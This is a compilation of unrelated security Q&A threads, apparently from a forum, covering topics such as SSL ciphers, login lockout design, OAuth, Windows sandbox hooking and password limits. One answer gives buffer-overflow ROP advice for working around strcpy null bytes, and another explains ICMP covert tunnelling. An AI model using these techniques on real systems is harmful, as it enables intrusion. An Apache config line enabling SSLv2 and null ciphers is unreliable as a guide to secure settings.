Here is a paper which addresses using keystroke dynamics as biometric authentication, but I'm not sure how "digestible" it is for the lay person.

It would be hard to implement this across the board because, although a person's keystroke dynamics are often similar day-to-day you need to be able to account for significant variation.  If a person is sick or tired they won't type the same as if they are angry.

Although I don't think this technology is ready for prime-time, I think it's great to discuss and investigate different types of biometric authentication and individual profiling to strengthen your security posture.


How can I determine the encryption strength of an SSL connection If I've connected to a https url, how can I determine the cipher strength of the connection? My understanding is that after the asymmetric public-key handshake the information is encrypted using a symmetric key with a given strength but I can't seem to find that number (128-bit etc).

Please let me know if I am misunderstanding something with the process too.

Edit: The reason I ask is that I have a template for a security disclaimer that contains a statment This website uses XX-bit encryption and I'd like to fill that with the correct number.

The SSL symetric encryption is the result of a negotiation between client and server. It is possible to restrict it from the server side by using the configuration files. For example, apache SSL configuration include a

SSLCipherSuite ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL

That can be tune to accept only the strongest encryptions, for example you may want to require only :

SSLProtocol all -SSLv3 -SSLv2
SSLCipherSuite HIGH:MEDIUM

Other variables can be used to do more things like client authentication or require per-directory ciphers.

You can also manipulate the negotiation from the client side. As for an example, please refer to this link that is talking a bit about Firefox SSL settings tuning. I assume other browsers have ways to do this as well.

It seems as this page says that :

  The server decides upon the list of cryptography and compression algorithms sent by the client whether to continue or cancel the session. There must be at least one match in both lists, otherwise the session will fail. The cipher combination which took the highest place in the client's list will be used for future communication.

I'm looking for the official protocol.


Is this a good way to handle login process Just wanted to know if this would be considered a good way to handle login process. It doesn't matter which language it is written in.

I will use this fellowing format. - Event (Where it happened)

Connect to the server with user credentials. (Client)
Verify if IP Address is blocked (by looking in a table on the database), if YES then send ERROR saying IP is blocked. (Server)
Verify if account is active, if NO then send an ERROR to client saying account aren't active. (Server)
Verify if account is blocked/banned from server, if YES then send ERROR saying account is blocked or banned from server. (Server)
Compare password hash with database user account password hash, if the compare is NEGATIVE increase the number of attempts in the database associated to IP Address. If 3 are reached then ban the IP Address. (Server)
Login are succesful at this point !

Additionnal Question :

If you look at the point 5. I tried to find a good way to block the actual user which try to login (which doesn't mean its the user owner of the account) but without affecting the real user. What i mean is that if someone else than the owner of the account try to login more than 3 time on the specific account it will get his IP Address banned instead of the account in question. Would it be best to block the account aswell ? for a limited time or something ?

Thanks!

In your process, people will get a distinct error code depending on whether the account exists or not. This is often considered somewhat inopportune. It is preferable if it is not possible, for outsider, to know whether a given account name exists; therefore, observable behaviour of your server should be the same in all situations which depend on the account name and lead to a failure: account does not exist, account is disabled, password is wrong. Note that "observable behaviour" includes not only the error code you return, but also the time taken by your server to respond (if you use slow-and-salted password hashing à la bcrypt -- and you really shoud do that -- then password verification can take a non-negligible time which can be measured from the outside).

Banning an IP address after a few failures has the following caveats:

The IP address you see could be shared between several people, in case of NAT. This is very common in organizations. Also common are HTTP proxies. You don't want three failures from one user to induce your server into banning a complete university, or even all the customers of a specific ISP.
Sometimes, people forget their password. This happens a lot. So you will get "legitimate" login failures. Such users will want to use the "I forgot my password" process, and they will want to do it immediately. Therefore, the ban must not be long (say, ban for one minute at most).
Attackers who are intent on trying a lot of potential login+password pairs will have relatively little trouble finding relay hosts to work around your IP-based banning. E.g. Tor, by construction, decreases the efficiency of IP banning.

Therefore I do not recommend IP address banning on a general basis: it has a high risk of disrupting service for normal users, while not being very effective against average attackers. IP banning is useful against burst situations with crude attackers (e.g. automatic attacks from botnets trying to replicate), with tools like Fail2ban, but they can backfire, so caution must be exercised.

Note that blocking accounts can also backfire:

Blocking an account after too many failures means that anybody can block the accounts of other people.
Attackers who try many login+password pairs can spread their attempts over a lot of distinct logins, avoiding the blocking feature.

Reasonable solutions involve time-limited blocks (lock an account for one minute or so after a few wrong passwords) coupled with time-limited IP banning when a very suspicious access pattern is identified (a lot of connection attempts from the same IP). They will not give strong protection (only strong user passwords will), but they may help in reducing the noise from low-grade attackers and let you concentrate on the few cases where attackers exhibit an unusual amount of competence.


Is Paypal's 2FA Security really this bad? I'm by now means an expert in this field, or even well versed, but if it's possible to do this, I can't comprehend how Paypal allows it.

Say you have 2 factor authentication on, with your phone setup as the Device.

You lose your phone and someone finds it. They quickly open the email, they see you have a Paypal account, they decide to access it.

They go on Paypal, click "forgot password". Paypal gives a few options to confirm you're the owner:

have them call you
answer security questions
receive an SMS text with a confirmation Code

The person already has your phone, they go for the SMS option. They get the SMS text with the code, reset the password, and they're in.

Really? That's it? Losing the phone you use for 2 Factor Authentication basically means you can have a stranger quickly go into your account if they find it?

This is so blatantly stupid...In case one wants to reset the password, questions should always be asked, no matter if they got the 2 FA device or not.

Yes it is.
If you have your emails unprotected on your phone and use your phone as the second factor, actually your phone becomes the only factor.
So use a PIN to protect your phone and encrypt it - or do not use the phone at all.

Or you should have pre-defined certain measures for the case if loosing your phone (like resetting your email password, so that your phone will not receive any emails anymore).

Many years ago paypal provided a hardware token as 2fa. I have one for one account and it is fine. The problem is: they do not anymore. The next problem is, that paypal obviously has a bad SMS gateway. Sometimes it takes ages for the text message to arrieve. To bad, if you want to "quickly" send some money.


Dealing with NULL byte (0x00) in offsets I'm trying to exploit a strcpy() buffer overflow vulnerability to test ROP attack. I found a very useful gadget at address 0x0000f26c so I am obliged to insert null bytes to the stack to override the return address of the vulnerable function. For the moment I failed doing this because strcpy() uses 0x00 as a string terminator.

Is there any other method to do this?

Not that I am aware of but how about overwriting the return address with a "ret" gadget ? With a debugger try to find if there are null bytes above the return address...

If we consider rsp == 0x1000 when you are about to branch to the return address:

0x1010: 0x???????????????? <-- are these null-bytes ? if yes ...
0x1008: 0x???????????????? <-- are these null-bytes ? if yes overwrite first 2 bytes with "\x6c\xf2" if not overwrite with ret gadget...
0x1000: *return address*   <--- overwrite with a ret gadget


How to "trust" data that is posted from one application to other We have a use case where a bunch of data needs to be posted from our application to a partner site where the end user takes some actions and then returns back to our site. On the return, the partner site also posts some data back to us. We need to establish trust for both the redirects.. i.e. the partner site needs to confirm that the data is originated at our end and hasn't been modified during the transmission nd the same applies for post back from partner site. Our main constraint is that it should be a low cost solution for our partners. Our application is a multi-tenanted app with various partners (dozens). The usecase is applicable for all of them.

One option we looked at is a two step process, where our site posts a unique transaction id to the partner site which then calls a webservice hosted by us to get the complete data. We can secure our webservice using 2-way SSL auth and same goes for the data from the partner site. But the problem with the extra cost involved in creating a webservice at each partner end. This would delay the onboarding of a new partner and increase the cost.

Are there other alternatives to this problem than the PKI based solution?

Use something like JWT, where a shared secret is used to sign and to verify the data

If the signature the valid the other service can trust the data, and if the signature on the response is valid you can know that the response is valid too.

it may be worth-while using different secrets for each hop

You may need to implement serial numbers in addition to this to prevent replay acttacks.


Is it possible to get PHP variables using XSS via GET request? If there is a get request that then displays the value after server-side processing via PHP, ex. mysite.com?message=, is it possible to pass in a value which gets variables from the PHP form which processes it?

Depending on the PHP script on the other site this might be possible, for example if the message is processed by PHP to explicitly retrieve the content of variables based on the content of the message. But there is no general way which works against an arbitrary PHP script. And in any case this would not be called XSS since XSS is used to describe the injection of script on the client side (browser) which is not the case here.


What is the benefit of the scope in OAuth2? In the question, substitute scope with state. Since there is an answer based on the wrong question, I'll let everything below as is. The answer is useful nonetheless.

This question refers to the current draft v30 of OAuth2 and GitHub's implementation thereof.

GitHub's "Web application flow" is more or less an implementation of Authorization Code Grant as described in the spec. The client (the Web application) directs the user to a special page on GitHub which asks whether the user wants to allow the application access to his or her resources. If this is confirmed, the user is redirected back to the client which then uses a temporary code to retrieve the OAuth token for future use.

If the client provided a scope parameter for the user's request to GitHub, the redirect contains that parameter as well. If the scope is some secret only known to the client, the client can be sure that nobody else created that request, i.e., that the user has not been the victim of a CSRF attack.

But is that really necessary?

If we choose not to use a scope parameter and the user is indeed the victim of a CSRF attack, he or she must still accept the question asked by GitHub whether the client is allowed access to the user's information. This step cannot be skipped. Indeed the spec says

  [The] authorization server authenticates the resource owner and obtains an authorization decision (by asking the resource owner or by establishing approval via other means).

If the attacker uses other techniques like clickjacking to trick the user into accepting the request, I reckon all bets are off anyway and the scope won't protect the user either.

In conclusion: Against what threat does the scope actually protect the user?

State Parameter
The scope parameter is not used to secure the authentication request against CSRF attacks (see below). But there is another parameter called "state", which matches your description.
[Asking the user]

This step cannot be skipped.

I am afraid, this assumption is not correct. It is very common, that the user is only asked for permission, when he uses a client application for the first time. After that the server remembers the client application and grants access automatically.

Indeed the spec says

[The] authorization server authenticates the resource owner and obtains an authorization decision (by asking the resource owner or by establishing approval via other means).

Other means may include that the application is trusted by the server (e. g. owned by the same company) or that the user's decision was saved.
So without a state parameter, the attacker can trick a user to log in to an application, that is known to the user in principle or generally trusted by the server.
Scope Parameter
The scope parameter is used to indicate a list of permissions, that are requested by the client:

The authorization and token endpoints allow the client to specify the scope of the access request using the "scope" request parameter.

For example permissions for a social network may include:
post_to_my_wall  send_notification  post_to_my_friends_wall  read_my_age

The value of the scope parameter is expressed as a list of space-
delimited, case sensitive strings.  The strings are defined by the
authorization server.

The server may provide all requested permissions or a modified list (for example because the user denied some permissions):

If the issued access token scope is different from the one requested by the client, the authorization server MUST include the "scope" response parameter to inform the client of the actual scope granted.

Source: https://tools.ietf.org/html/draft-ietf-oauth-v2-30#section-3.3


Storing base passwords in Lastpass After watching Mr Robot I finally motivated myself to setup two factor authenitication for Lastpass with Yubikey.
Fastmail is the second service I've set up with my Yubikey.

I changed my main Fastmail password to be very secure and impossible
to remember (for me at least).
I created a base password which is
still pretty hard to remember and requires my Yubikey.

I store both of these logins in Lastpass so my process for logging into Fastmail is:

Log into Lastpasswith 2fa
Go to the Fastmail site where Lastpass fills the username and base
password fields
Put the cursor at the end of the base password filled by Lastpass and press the Yubikey button which fills the rest of the password and logs me in

As the base password and my very strong password are both stored in Lastpass do I actually gain anything from using 2fa with Fastmail?

Presumably if someone gets into my Lastpass account they have my key and can either use the base password and my key or just use the strong password.

Is it more secure to use a less strong base password (that I stand a greater chance of remembering) and not storing it in Lastpass?
If more of the services I use start supporting 2fa is it more secure for me to store strong base passwords in Lastpass than share a medium strength password between services whilst using 2fa?

As the base password and my very strong password are both stored in Lastpass do I actually gain anything from using 2fa with Fastmail?

The answer to this "most probably yes".

There is two ways you may gain some security this way:

In case someone manages to steal your service password (for instance through code injected in your mail client or web browser), you will prevent them from reusing your password at a later time because the OTP generated by the hardware key will not be valid any more.
Inherently, your password will be "longer" if you add the OTP than if you don't.

However, the real question you should ask yourself is: "Is the additional security worth the additional hassle?" That's a very personal question and no one can answer it but you.

Additionally: I suggest you take a moment to consider how you can regain access to your account in case you lose your key (or access to your password database). This is actually a more important question because, if you're a typical user, that is a risk that is far more likely to materialize than having an account with a strong password being compromised in a way that would have been prevented by adding a hardware token.


What should be included in the ground rules for an attack review? I've drafted some ground rules for a call for adversarial attack-review.  I've tried to cover the following topics:

Link to the policy that I want to enforce.
Link to a minimal testbed and installation instructions if that proves cumbersome.
Some suggestions on how to demonstrate an attack.
What an attacker might gain.
What is out of bounds -- things that, if attacked, will not result in credit.
How to disclose a vulnerability, claim credit, etc.
Pointers to fora for further questions.

What should a document like this cover?  Anything I should add or leave out?

What in my specific draft (link above) is confusing, poorly thought out, or just plain boneheaded?

I think your document is great.

If you forced me to criticize something, I would mention two things:

Understanding the policy that you want to enforce takes some doing: it requires reading a bunch of code and regexps.  I don't know if that's avoidable.
The attack scenario seems a bit limited.  The ground rules don't seem to cover the case where the sanitized HTML fragment (e.g., from an eBay seller) is composed together with some trusted HTML (from eBay itself) to form a HTML document, and doesn't say what security properties must be enforced in this case.  For example, in that kind of situation, the reader is forced to guess whether you are trying to protect the confidentiality of the rest of the page.  If the sanitized HTML fragment can somehow discover the value of other secrets stored in the same document (e.g., CSRF tokens found in hidden form parameters in the trusted part of the document) and exfiltrate it, is that an attack?  I suspect yes, it is.

But these are minor criticisms, and I think the ground rules posted are excellent.


For what is an ICMP tunnel useful and how does ist work? For what is it usefull?
I (client) send an echo-request (with http data) to the proxy server. Then the proxy has to send me the echo-reply. But my question now is:

2.1 The proxy first needs to send my data to the webserver, the webserver needs to reply -> this costs time. So can the proxy server delay the echo-reply?

2.2. If yes, how can he delay it?

In general, tunneling one protocol under another is done because there are networking devices in between that only can handle or allow specific protocols.

If routers or firewalls allow (don't drop) and don't record (don't log) the full ICMP packet, then just looking at the protocol shows pings or something happening. This causes the covert comms channel to be overlooked.

The proxy server would be needed to form the tunneled traffic into a form that the real desired server could understand. Otherwise the webserver itself would have to directly accept ICMP/TCP traffic.

Target >> ICMP Tunnel with HTTP >> Proxy that unwraps the tunneled HTTP >> HTTP Traffic >> Server


Can a bluetooth speaker contain malware? Can a bluetooth speaker contain malware? If someone were to find a random bluetooth speaker laying around and tries to connect with it, is there a possibility that the speaker has malware in it?

It is technically possible, because a Bluetooth device will likely contain firmware and a small CPU (so it's not just a dumb variable resistor and speaker driver). In a purely theoretical sense, it would be possible for malware in such a device to spread by exploiting a bug in the Bluetooth protocol to gain code execution or unauthorized access to another Bluetooth-capable device. However, the chances of this are so slim as to be utterly negligible. There are better ways to infect someone. You can safely disregard a Bluetooth speaker as a malware infection vector.

Regardless, it is not a bright idea to connect to something random you see lying around.


Designing a Sandbox for Windows I am thinking about the design for a sandbox, which is able to execute arbitrary unmodified, untrusted binaries. The goal is to implement an application

Unlike something like e.g. Google Chrome's sandbox it has to provide additional isolation that the security mechanisms baked into Windows can not provide. However, it should also be able to run a large number of sandboxes on one physical machine, so an full blown VM is out of the question.

It is supposed to work like this: Any system call made by the untrusted code should first be intercepted by the sandbox code, so that it can be blocked or modified before it is passed to the system. The sandbox should additionally be able to hook high-level APIs if that is convenient. The untrusted code should not be a able to temper with the sandboxes code (including it's imported libraries) and data (it's stack and heap). However, the sandbox code should have full access to the sandboxed code's address space.

Given these constraints it would also prefer if the sandbox would involve as little as possible kernel mode code (because of security and testability concerns), it would be as simple as possible (so no stunts like binary translation) and the sandboxed code would run reasonably fast.

The sandbox would run on my own server, so tempering with the underling OS is acceptable and portability between different versions of Windows is not a hard requirement. The target architecture is x86 - 64 bit support is not important, so use of segmentation is allowed. However, it should be able to run inside a VM; so if possible no hardware virtualization (VT-x or it's AMD equivalent).

How would you implement a sandbox like this?
Has a sandbox-design like this been documented?
Are there any important points that I overlooked?
Given these requirements you might already have a reasonable idea, what kind of design I had in mind, however I am open to any idea.

EDIT: The goal is to provide an Application virtualization layer (see http://en.wikipedia.org/wiki/Application_virtualization), which the virtualized application can not break out of.

I agree with the answer that suggested the overall design of determining what is, and is not, a good system call may be difficult. Indeed, in isolation, a single system call might not be enough information.

In terms of the way Windows works, there are actually two levels of operation:

NT-level calls. These are the typical system calls you'd expect via sysenter to code in ntdll.dll i.e. Kernel mode routines.
The Win32 subsystem level. These are the functions implemented in advapi32.dll, kernel32.dll, user32.dll and others. Some of these act directly, others may call the above functions themselves depending on what is needed.

In addition to this, as a broad survey there are two abstraction layers on top of the Win32 subsystem:

COM and friends, also known as COM, COM+, DCOM, ActiveX, SuperDuper (okay, joking) and others.
.Net and friends. .net executables are modified PE binaries that load in mscoree.dll amongst other things and may use APIs in other .net binaries, or Win32, or via COM interfaces.

Now, for hooking techniques, you have:

Kernel. These days, ISR Hooking is tantamount to stability suicide unless you want to reverse engineer PatchGuard and disable it, or are permanently running your OS under a debugger. However, there are options for filtering implemented in Windows, provided by Filter Drivers. This is typically how an antivirus product might scan network activity and implement a firewall.
User. You have a few options here:

Patching the binary on launch. @Poly talked about code caves and redirects - given a target binary, one option is to overwrite code in its functions, or the functions of interesting APIs to redirect to your code. Typically, you don't have enough space to patch a jump to any old place in the address space, so you need a "code cave" near to the function to put your call/full size jump.
Alternatives to this include IAT Hooking, a way to modify a binary's import table to pull in your functions rather than the original target.
Another alternative is to use DLL redirection. Under Linux, you'd know this as LD_PRELOAD, - in plain English, you'd load your DLL of the same name and with matching symbols before the desired API dll, and steal the calls that way. It's even a feature of MSVC that you can produce redirected link functions in DLLs rather than having to implement your own stubs for things you don't care about!
You can patch COM calls by overwriting the relevant entry in the vtable of the resultant interface class.
There are other techniques, e.g. DLL Injection etc.

So if you are looking to implement a sandbox meeting your criteria, then there are a few considerations to take into account:

First up, where and what you hook. If you hook all of kernel32.dll it is still feasible that API calls may get around that if they do not call these functions. I don't know any COM or .net code like this, but I'd bet there is some.
You need to be careful with Kernel patching, as a result of PatchGuard. The filter manager provides most of what you could ever want to do antivirus (and therefore probably sandbox) wise, however, if you're going outside the filter manager you're going into unstable land pretty quickly. There may be limits to what you can do.
Then, whatever hooks you place in userland are almost definitely detectable by the sandbox assuming you are not using binary translation. For example, let's pick on patching CreateFile. Untrusted code could simply read the memory of this function and check that the prologue is as expected. Likewise, there are ways to detect injected dlls, IAT hooks etc.
The same applies to sandboxing kernel mode code. If you let the untrusted code install drivers, you are again on a level playing field with it.

This kind of work has been done - Sandboxie is one product that attempts to implement a sandbox at this kind of level, although it likely has more kernel level stuff than you'd necessarily like. I've only briefly looked at Sandboxie back when I knew less about this sort of thing, but I suspect a core component is kernel level because almost any amount of user mode hooking can be undone if you know to expect it. The only defence is to have a greater level of permission.

You've mentioned not having binary translation - I've not covered the various debugging APIs in Windows for this reason. Using these, you could essentially run a program as if you were stepping through it, and analyse any calls or jumps before they were made. However, this is basically binary translation, and debugging affects performance in any case. Not only that, but if I were writing a program to resist your sandbox, there are a number of known tricks for detecting debuggers (one being you can't debug a debugger, so if you relaunch yourself and try to debug that new process and can't, you're being debugged. This definitely applies to ptrace) which would render the program unusable in the sandbox.

On a positive note, most non-malware products would likely play well with whichever set of techniques you used, since they're probably not trying to resist running under these environments. This can be quite a useful fact.

Last but not least, I apologise for the excessive use of bullet points! And, my list of techniques for hooking calls is not exhaustive - there are definitely others.


Public registry (database or API) for known security vulnerabilities in open source software? Is there a reliable, public registry (preferably in the form of an API) that records known security vulnerabilities in open source software?
Why would anyone want this?
I'm trying to emulate github's dependabot on a local server. It simply scans all repositories and checks dependencies for updates, and alerts the maintainer, but I have no way to tell them of the update's severity. Most updates are completely innocuous (and not urgent at all). Yet a small portion are extremely serious and should be actioned immediately.
Ultimately, I would like to find a programatic way of determining which open source library updates are regular updates vs which ones contain vital security updates (i.e. without a human having to research each one).
For reference, here's an example of what dependabot does (note the right hand side where it shows the severity of updates)

There are multiple sites that track "CVEs" (Common Vulnerabilities and Exposures), though I believe MITRE maintains the canonical list. You can also look up the National Vulnerability Database from NIST (part of the US government), which contains all CVEs (and possibly other findings too?) which has feeds for new vulnerabilities.
These databases include open-source software, and also proprietary software that uses open-source components, but also any assigned vulns in fully proprietary software. I've never tried to use an API from either of them, but it's probably possible (the web UI supports various kinds of searching and filtering, so if nothing else you should be able to screen-scrape). Note however that these are definitely not comprehensive lists; most security bugs (especially if they are low impact or unlikely to affect many users, due to being in niche software and/or patched immediately with minimal exposure) never get assigned a CVE or similar.


breaking down RSA/ECB/OAEPWITHSHA-256ANDMGF1PADDING So Java has a mode called RSA/ECB/OAEPWITHSHA-256ANDMGF1PADDING. What does that even mean?

RFC3447, Public-Key Cryptography Standards (PKCS) #1: RSA Cryptography Specifications Version 2.1, section 7.1.2 Decryption operation says Hash and MGF are both options for RSAES-OAEP-DECRYPT. MGF is it's own function, defined in Section B.2.1 MGF1 and that has it's own Hash "option" as well.

Maybe the Hash "option" in RSAES-OAEP-DECRYPT and MGF1 are supposed to be the same or maybe they're not, it is unclear to me. If they are then I guess when you have RSA/ECB/OAEPWITHSHA-256ANDMGF1PADDING that means sha256 should be used for both. But if they're not supposed to be the same then you could have sha256 used for RSAES-OAEP-DECRYPT and, for example, sha1 used for MGF1. And if that's the case then what function is sha256 supposed to be used for? And what hash algorithm is supposed to be used for the other function?

And what does ECB mean in this context? ECB is a symmetric block cipher mode. Electronic Code Book. Maybe it's supposed to mean how Java deals with plaintext's that are larger than the modulo? Like maybe splits the plaintext into chunks that are as big as the modulo and then encrypts each one with RSA and concatenates them together? I'm just guessing..

Quoting https://stackoverflow.com/a/32166210/569976,

  The default for OAEP is to use SHA-1 for MGF1. Note that the hash
  chosen doesn't have that much impact on the security of OAEP, so
  mostly it will be left to this default.

  We can easily test this by testing it against "OAEPPadding" and
  OAEPParameterSpec:

// --- we need a key pair to test encryption/decryption
KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA");
kpg.initialize(1024); // speedy generation, but not secure anymore
KeyPair kp = kpg.generateKeyPair();
RSAPublicKey pubkey = (RSAPublicKey) kp.getPublic();
RSAPrivateKey privkey = (RSAPrivateKey) kp.getPrivate();

// --- encrypt given algorithm string
Cipher oaepFromAlgo = Cipher.getInstance("RSA/ECB/OAEPWITHSHA-256ANDMGF1PADDING");
oaepFromAlgo.init(Cipher.ENCRYPT_MODE, pubkey);
byte[] ct = oaepFromAlgo.doFinal("owlstead".getBytes(StandardCharsets.UTF_8));

// --- decrypt given OAEPParameterSpec
Cipher oaepFromInit = Cipher.getInstance("RSA/ECB/OAEPPadding");
OAEPParameterSpec oaepParams = new OAEPParameterSpec("SHA-256", "MGF1", new MGF1ParameterSpec("SHA-1"), PSpecified.DEFAULT);
oaepFromInit.init(Cipher.DECRYPT_MODE, privkey, oaepParams);
byte[] pt = oaepFromInit.doFinal(ct);
System.out.println(new String(pt, StandardCharsets.UTF_8));

  The code will fail with a padding related exception if you substitute "SHA-256" for the MGF1 as parameter.

  The reason why the extended algorithm is needed at all is compatibility with other Cipher algorithms. Code written for e.g. "RSA/ECB/PKCS1Padding" doesn't use any parameters, let alone OAEP parameters. So without the longer string OAEP cannot function as drop in replacement.

  The mode of operation "ECB" doesn't mean anything in this context, it should have been "None" or it should have been left out completely. You can only encrypt a single block using the RSA implementation of the SunRSA provider.


Password length limits in history of operating systems and popular web sites I heard that many years ago for example passwords on linux systems were limited to 8 characters. Or rather, you could type in more than 8 characters, but only the first 8 characters mattered.

Consider the most common operating systems Windows, Mac OS and GNU/linux, or popular websites: What is the history about password policy length.

There are a variety of sources out there for this kind of information, but only for individual services or operating systems. It's rather hard to get exact dates and version information on a lot of this, because people still had old versions of software running, or changes weren't documented at the same time they were made. I've done my best to correlate the facts into a single list.

Services

Facebook: No limit (tried up to 1000 characters)
Twitter: No limit (tried up to 500 characters)
Twitter API: No limit.Windows Live ID / Hotmail: 16 characters. The service is now known as Outlook.com
MySpace: In 2009, there was a 10 character limit. This has been increased, but I've not tested the limits.
LinkedIn: In 2009, there was a 16 character limit. Again, this has been increased. Currently there doesn't seem to be a limit.
Google Accounts / GMail / YouTube: There has never been a limit.
OpenID: No limit.

Mobile

Android: No limits on unlock / device encryption / root passwords.
iOS: No limits on unlock / device encryption passwords. Root password uses old crypt, so limit is 8 characters (the rest are ignored). Tested on iOS 4 and 5. (source)
Blackberry: 32 characters (source).
PalmOS: 31 ASCII characters (source). This may have changed since 2001.

Operating Systems

Windows 95 / 98: 14 characters (split into two 7-character hashes)
Windows 2000 / XP / Server 2003: Technical limit is 127 characters. Password change dialog limits to 32 characters. If 14 or less characters are used, the old LanMan hash is used. If 15 or more are used, the newer NTLM hash is used.
Windows Vista / 7 / Server 2008: 127 characters.
Unix (1990s and earlier): 8 ASCII characters.
OS X: No limit. Earlier Apple OS products may have had limits, but these have not been thoroughly investigated or documented.
Linux: Varies between distributions. Old versions have the same problem as Unix, since they use the old DES-based crypt hashes. Most have no limit, since they use a proper hash algorithm. Some have a soft limit of 72, 79 or 127 characters.

Here's a quick rundown of password hashing in some popular distros:

Ubuntu: Early versions use MD5, 8.10 and later use SHA512 with a 64-bit salt.
Debian: 5.0 and earlier used MD5, 6.0 and later use SHA512 with a 64-bit salt.
CentOS: 5.0 and earlier used MD5, 6.0 and later use SHA512 with a 64-bit salt.
RHEL: Old versions used DES-based crypt with 8-character limit. After that, MD5 was used. Changed to SHA512 in version 4.7.
Fedora: Prior to Fedora 9, MD5 was used. Default was changed to SHA256 in Fedora 9, with support for SHA512 available.
Arch: Used to be MD5, was changed to SHA512 in November 2011.


Aviation security - Lessons to learn from PlaneSploit A somewhat related question has already been asked (What would one need to do in order to hijack a satellite?), only at a more abstract level.

Now we have a presentation by Hugo Teso from n.runs AG hitting the headlines and making some pundits from within the Beltway possibly blush, which does bring critical infrastructure security into the limelight, threatened not by Advanced Persistent Threats but by lone attackers.

The essence of the exploit:

two completely unsecured wireless air-to-ground comms protocols (ADS-B, ACARS), with the former being part of the NextGen automated air traffic control system in development by FAA and the industry, and the latter quite outdated;
a simulated plane as a hardware + software setup assembled from mostly authentic parts from Rockwell Collins, Honeywell, Thales and whatnot (pretty much the biggest fish in the pond), software reportedly written in Ada;
transceiver implemented as software-defined radio;
ability to subvert on-board flight management system, including redirecting planes and presenting false information to the crew.

The question is simple: What practical security lessons should be learned by aviation regulators?

In particular, what are the recommendations on organizing complex system development and security testing over and beyond the procedures already in place?

Related multimedia (turns out it is a recurring topic):

Spoofing ADS-B
Presentation on ADS-B at DEF CON 20
DEF CON 18: Air traffic control insecurity 2.0
DEF CON 17: Air traffic control and ADS-B

EDIT: Chris Roberts is being grilled by the Feds on alleged hacking of FMS from In-Flight Entertainment boxes. See the question at Aviation SE: https://aviation.stackexchange.com/questions/14818/are-commercial-aircraft-designed-with-a-shared-data-network

@ewanm89 is entirely correct. Securing the connection between ground control and a plane should be no different from securing any regular connection.

The main issue is that the protocol designers are relying on security by obscurity. Obscurity through the relatively unknown protocol being used. Obscurity through what used to be relatively difficult to obtain equipment. Obscurity through the fact that having enough resources to mount a feasible attack used to be impractical.

Of course, this is no longer the case. In the era of state sponsored cyber attacks (God, I hate that term), resources are no longer an issue. Reverse engineers have taken apart the protocol being used. Obscurity is no longer enough.

The proper solution is to build proper encryption and authentication measures into the protocol being used. This isn't something novel, the internet has been using such protocols for more than a decade. (See: SSL/TLS). This will prevent attackers from simply grabbing the data being sent from the air, modifying it and sending it.

This sort of attacks isn't limited to aviation systems. There have been plenty of similar ones on SCADA systems as well.


prevent Ransomware on CIFS shares mounted on Windows 10 I am using Windows 10 with Defender. I follow all the ground rules when dealing with the internet and staying secure. I work in IS so I'm pretty familiar with the various threat-vectors and do a good job at protecting myself from them.

But we all know there is no fool-proof way. Plus, there are other folks that use the family computer so there are a lot of uncontrolled variables.

I have a Debian server at home running NextCloud and hosting a few CIFS/Samba shares. It is backed up, with versions, to a public cloud provider. On my Windows 10 I use the NextCloud client to sync my Documents with my NextCloud server and then I have a few of the CIFS/Samba shares mounted.

If I do get a Ransomware virus I'm not worried about my laptop as long as my Debian server is fine. So I got to thinking how I could protect myself -- particularly the data hosted by the CIFS/Samba shares.

Even if my C: is encrypted, the NextCloud client would sync the encrypted files, not the virus, to my Debian server. And, even if it synced to my server, it would still have to somehow execute. And the files are backed up so I'm safe from this angle.

My worry is that the Ransomware virus will also encrypt my CIFS/Samba share mounts. The only true solution is to either only mount as read-only or not use them.

Am I missing anything and/or some angle I'm not seeing?

One close to fool-proof way to protect yourself from ransomeware is to have regular versioned backups.  This way if you lose your data to ransomware, you just have to restore from a backup. I realize that this is sometimes more complicated that just copying over files from a backup, but it will give you a certain amount of pice of mind.  After that its really just a matter of limiting access and doing regular updates.


How to determine the type Today I discover a encryption method

Which

0 = 35

1 = 34

2 = 37

3 = 36

4 = 31

5 = 30

6 = 33

7 = 32

8 = 3d

9 = 3c

It's the encode of number 1 to 0 for the method

Can you please help me to find the name of the method?

It's an xor cipher with 0x05 as key.

Looking in the ASCII table, the digit 0 is ASCII code 0x30. In binary, that is 110000. Your ciphertext result is 0x35, which is 110101 in binary. The difference is that third-to-last and last positions are flipped (1 becomes 0 or 0 becomes 1). This is indicative of an xor key 000101 (put a 1 in the positions that flip). Converting 000101 (or simply 101 since leading zeroes can be removed) back to (hexa)decimal, you get 5.

The shortcut to calculating the xor key given a ciphertext and plaintext byte, is to xor them together: 0x35 ^ 0x30 = 0x05

To confirm this, we can use any other value from your list:

0 0x30 ^ 5 = 0x35
1 0x31 ^ 5 = 0x34
2 0x32 ^ 5 = 0x37
...
9 0x39 ^ 5 = 0x3c

An easy way to convert between binary / hexadecimal / decimal is python: hex(0b110101) gives 0x35 and bin(0x35) gives 0b110101. Note that the 0b and 0x notations are just prefixes to indicate the number system (binary and hexadecimal, respectively).


A couple of questions about ASP.Net Core default implementation for login security By default, ASP.Net Core configures the login exercise with a couple of things that seem strange to me. I'd like someone who knows more about infosec than I to comment on these please.

First, it sends an email to a user upon registration containing a confirmation link. The confirmation link contains BOTH the user ID (the primary key of the user record in the database) and a "token" that expires by default in one day. My question here is: It seems like a bad idea to put the user ID in plain text in the confirmation URL. (It seems to me that, in earlier versions of the Identity framework, the token had the user ID encoded in it, all happily encrypted. I may be wrong about this.)

Second, if a user logs in with correct credentials (username and password), but hasn't yet fed the authentication token back into the system (via the link in the email), the login POST routine simply says "bad login attempt". It gives the user no clue that login failed because the user needs to find the confirmation email and deal with it. If I modify this code to tell the user "you need to find that email, or click here to resend the confirmation email", is that a bad thing for some reason?

For the first look, the user ID included in confirmation email look potentially harmful but after a deeper investigation of the code, it looks quite compliant. You have to think of how disclosed user ID can be used in some exploit.

In the confirmation email, the user ID is one of the parameters of URL link to confirm user registration. The email confirmation endpoint uses both values (user ID and code) to validate if the request is legitimate. Looking at the possible responses from this endpoint I do not see any vulnerability like for example possible user enumeration.

According to your second question, I am sure it is also following the best practices of user login feature. The main rule is to not give any clue to the application user that can be used to check if the account exists or not. If you would implement your changed message, when user is registered but not confirmed, possible attacker could use the login endpoint to enumerate different account usernames. If he would get your message in the response, he would know that account exists. When there is only one message to all possible result, attacker is not able to distinguish if account exists or not.


Capture WiFi AP authentication attempted password Is it possible for someone who is doing air monitor mode (ex. using airmon-ng) or is using a rogue device to capture attempted authentication on a Wi-Fi AP ?

For example, I have a home router WPA2-protected with a strong password. There's like more that 20 other wireless networks around me.
